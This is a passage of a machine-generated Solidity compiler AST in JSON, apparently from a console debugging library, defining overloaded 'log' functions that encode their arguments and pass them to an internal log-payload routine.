memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":18504,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"24043:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":18505,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"24047:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"24043:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":18511,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"24043:72:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":18503,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"24027:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":18512,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"24027:89:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":18513,"nodeType":"ExpressionStatement","src":"24027:89:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"23951:3:14","parameters":{"id":18501,"nodeType":"ParameterList","parameters":[{"constant":false,"id":18494,"mutability":"mutable","name":"p0","nameLocation":"23960:2:14","nodeType":"VariableDeclaration","scope":18515,"src":"23955:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18493,"name":"uint","nodeType":"ElementaryTypeName","src":"23955:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18496,"mutability":"mutable","name":"p1","nameLocation":"23978:2:14","nodeType":"VariableDeclaration","scope":18515,"src":"23964:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":18495,"name":"string","nodeType":"ElementaryTypeName","src":"23964:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":18498,"mutability":"mutable","name":"p2","nameLocation":"23990:2:14","nodeType":"VariableDeclaration","scope":18515,"src":"23982:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":18497,"name":"address","nodeType":"ElementaryTypeName","src":"23982:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":18500,"mutability":"mutable","name":"p3","nameLocation":"23999:2:14","nodeType":"VariableDeclaration","scope":18515,"src":"23994:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18499,"name":"uint","nodeType":"ElementaryTypeName","src":"23994:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"23954:48:14"},"returnParameters":{"id":18502,"nodeType":"ParameterList","parameters":[],"src":"24017:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":18538,"nodeType":"FunctionDefinition","src":"24129:192:14","nodes":[],"body":{"id":18537,"nodeType":"Block","src":"24213:108:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c737472696e672c616464726573732c737472696e6729","id":18529,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"24263:33:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_f898577fdc87bf80b54b2b838f8b58bf5a74554c7beeb61b98f3c2b7d59f31e2","typeString":"literal_string \"log(uint,string,address,string)\""},"value":"log(uint,string,address,string)"},{"id":18530,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18517,"src":"24298:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18531,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18519,"src":"24302:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":18532,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18521,"src":"24306:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":18533,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18523,"src":"24310:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_f898577fdc87bf80b54b2b838f8b58bf5a74554c7beeb61b98f3c2b7d59f31e2","typeString":"literal_string \"log(uint,string,address,string)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":18527,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"24239:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":18528,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"24243:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"24239:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":18534,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"24239:74:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":18526,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"24223:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":18535,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"24223:91:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":18536,"nodeType":"ExpressionStatement","src":"24223:91:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"24138:3:14","parameters":{"id":18524,"nodeType":"ParameterList","parameters":[{"constant":false,"id":18517,"mutability":"mutable","name":"p0","nameLocation":"24147:2:14","nodeType":"VariableDeclaration","scope":18538,"src":"24142:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18516,"name":"uint","nodeType":"ElementaryTypeName","src":"24142:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18519,"mutability":"mutable","name":"p1","nameLocation":"24165:2:14","nodeType":"VariableDeclaration","scope":18538,"src":"24151:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":18518,"name":"string","nodeType":"ElementaryTypeName","src":"24151:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":18521,"mutability":"mutable","name":"p2","nameLocation":"24177:2:14","nodeType":"VariableDeclaration","scope":18538,"src":"24169:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":18520,"name":"address","nodeType":"ElementaryTypeName","src":"24169:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":18523,"mutability":"mutable","name":"p3","nameLocation":"24195:2:14","nodeType":"VariableDeclaration","scope":18538,"src":"24181:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":18522,"name":"string","nodeType":"ElementaryTypeName","src":"24181:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"24141:57:14"},"returnParameters":{"id":18525,"nodeType":"ParameterList","parameters":[],"src":"24213:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":18561,"nodeType":"FunctionDefinition","src":"24327:181:14","nodes":[],"body":{"id":18560,"nodeType":"Block","src":"24402:106:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c737472696e672c616464726573732c626f6f6c29","id":18552,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"24452:31:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_f93fff378483bab1a84a8ae346090ff91e793863821a5430c45153390c3262e1","typeString":"literal_string \"log(uint,string,address,bool)\""},"value":"log(uint,string,address,bool)"},{"id":18553,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18540,"src":"24485:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18554,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18542,"src":"24489:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":18555,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18544,"src":"24493:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":18556,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18546,"src":"24497:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_f93fff378483bab1a84a8ae346090ff91e793863821a5430c45153390c3262e1","typeString":"literal_string \"log(uint,string,address,bool)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":18550,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"24428:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":18551,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"24432:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"24428:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":18557,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"24428:72:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":18549,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"24412:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":18558,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"24412:89:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":18559,"nodeType":"ExpressionStatement","src":"24412:89:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"24336:3:14","parameters":{"id":18547,"nodeType":"ParameterList","parameters":[{"constant":false,"id":18540,"mutability":"mutable","name":"p0","nameLocation":"24345:2:14","nodeType":"VariableDeclaration","scope":18561,"src":"24340:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18539,"name":"uint","nodeType":"ElementaryTypeName","src":"24340:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18542,"mutability":"mutable","name":"p1","nameLocation":"24363:2:14","nodeType":"VariableDeclaration","scope":18561,"src":"24349:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":18541,"name":"string","nodeType":"ElementaryTypeName","src":"24349:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":18544,"mutability":"mutable","name":"p2","nameLocation":"24375:2:14","nodeType":"VariableDeclaration","scope":18561,"src":"24367:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":18543,"name":"address","nodeType":"ElementaryTypeName","src":"24367:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":18546,"mutability":"mutable","name":"p3","nameLocation":"24384:2:14","nodeType":"VariableDeclaration","scope":18561,"src":"24379:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":18545,"name":"bool","nodeType":"ElementaryTypeName","src":"24379:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"24339:48:14"},"returnParameters":{"id":18548,"nodeType":"ParameterList","parameters":[],"src":"24402:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":18584,"nodeType":"FunctionDefinition","src":"24514:187:14","nodes":[],"body":{"id":18583,"nodeType":"Block","src":"24592:109:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c737472696e672c616464726573732c6164647265737329","id":18575,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"24642:34:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_7fa5458bb859a8b444c46f9915b7879afe7e200298580a00c5813ecf5c0a77cb","typeString":"literal_string \"log(uint,string,address,address)\""},"value":"log(uint,string,address,address)"},{"id":18576,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18563,"src":"24678:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18577,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18565,"src":"24682:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":18578,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18567,"src":"24686:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":18579,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18569,"src":"24690:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_7fa5458bb859a8b444c46f9915b7879afe7e200298580a00c5813ecf5c0a77cb","typeString":"literal_string \"log(uint,string,address,address)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":18573,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"24618:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":18574,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"24622:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"24618:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":18580,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"24618:75:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":18572,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"24602:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":18581,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"24602:92:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":18582,"nodeType":"ExpressionStatement","src":"24602:92:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"24523:3:14","parameters":{"id":18570,"nodeType":"ParameterList","parameters":[{"constant":false,"id":18563,"mutability":"mutable","name":"p0","nameLocation":"24532:2:14","nodeType":"VariableDeclaration","scope":18584,"src":"24527:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18562,"name":"uint","nodeType":"ElementaryTypeName","src":"24527:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18565,"mutability":"mutable","name":"p1","nameLocation":"24550:2:14","nodeType":"VariableDeclaration","scope":18584,"src":"24536:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":18564,"name":"string","nodeType":"ElementaryTypeName","src":"24536:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":18567,"mutability":"mutable","name":"p2","nameLocation":"24562:2:14","nodeType":"VariableDeclaration","scope":18584,"src":"24554:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":18566,"name":"address","nodeType":"ElementaryTypeName","src":"24554:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":18569,"mutability":"mutable","name":"p3","nameLocation":"24574:2:14","nodeType":"VariableDeclaration","scope":18584,"src":"24566:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":18568,"name":"address","nodeType":"ElementaryTypeName","src":"24566:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"24526:51:14"},"returnParameters":{"id":18571,"nodeType":"ParameterList","parameters":[],"src":"24592:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":18607,"nodeType":"FunctionDefinition","src":"24707:164:14","nodes":[],"body":{"id":18606,"nodeType":"Block","src":"24770:101:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c626f6f6c2c75696e742c75696e7429","id":18598,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"24820:26:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_56828da42a6ecdc94480e6d223af96b676cdc4ca9a00b1d88a7646ef1e12541e","typeString":"literal_string \"log(uint,bool,uint,uint)\""},"value":"log(uint,bool,uint,uint)"},{"id":18599,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18586,"src":"24848:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18600,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18588,"src":"24852:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":18601,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18590,"src":"24856:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18602,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18592,"src":"24860:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_56828da42a6ecdc94480e6d223af96b676cdc4ca9a00b1d88a7646ef1e12541e","typeString":"literal_string \"log(uint,bool,uint,uint)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":18596,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"24796:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":18597,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"24800:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"24796:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":18603,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"24796:67:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":18595,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"24780:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":18604,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"24780:84:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":18605,"nodeType":"ExpressionStatement","src":"24780:84:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"24716:3:14","parameters":{"id":18593,"nodeType":"ParameterList","parameters":[{"constant":false,"id":18586,"mutability":"mutable","name":"p0","nameLocation":"24725:2:14","nodeType":"VariableDeclaration","scope":18607,"src":"24720:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18585,"name":"uint","nodeType":"ElementaryTypeName","src":"24720:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18588,"mutability":"mutable","name":"p1","nameLocation":"24734:2:14","nodeType":"VariableDeclaration","scope":18607,"src":"24729:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":18587,"name":"bool","nodeType":"ElementaryTypeName","src":"24729:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":18590,"mutability":"mutable","name":"p2","nameLocation":"24743:2:14","nodeType":"VariableDeclaration","scope":18607,"src":"24738:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18589,"name":"uint","nodeType":"ElementaryTypeName","src":"24738:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18592,"mutability":"mutable","name":"p3","nameLocation":"24752:2:14","nodeType":"VariableDeclaration","scope":18607,"src":"24747:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18591,"name":"uint","nodeType":"ElementaryTypeName","src":"24747:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"24719:36:14"},"returnParameters":{"id":18594,"nodeType":"ParameterList","parameters":[],"src":"24770:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":18630,"nodeType":"FunctionDefinition","src":"24877:175:14","nodes":[],"body":{"id":18629,"nodeType":"Block","src":"24949:103:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c626f6f6c2c75696e742c737472696e6729","id":18621,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"24999:28:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_e8ddbc56b4712607102717eb35a3ee6aa0309358d07a4257a282d4a44ceb2f63","typeString":"literal_string \"log(uint,bool,uint,string)\""},"value":"log(uint,bool,uint,string)"},{"id":18622,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18609,"src":"25029:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18623,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18611,"src":"25033:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":18624,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18613,"src":"25037:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18625,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18615,"src":"25041:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_e8ddbc56b4712607102717eb35a3ee6aa0309358d07a4257a282d4a44ceb2f63","typeString":"literal_string \"log(uint,bool,uint,string)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":18619,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"24975:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":18620,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"24979:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"24975:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":18626,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"24975:69:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":18618,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"24959:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":18627,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"24959:86:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":18628,"nodeType":"ExpressionStatement","src":"24959:86:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"24886:3:14","parameters":{"id":18616,"nodeType":"ParameterList","parameters":[{"constant":false,"id":18609,"mutability":"mutable","name":"p0","nameLocation":"24895:2:14","nodeType":"VariableDeclaration","scope":18630,"src":"24890:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18608,"name":"uint","nodeType":"ElementaryTypeName","src":"24890:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18611,"mutability":"mutable","name":"p1","nameLocation":"24904:2:14","nodeType":"VariableDeclaration","scope":18630,"src":"24899:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":18610,"name":"bool","nodeType":"ElementaryTypeName","src":"24899:4:14","typeDe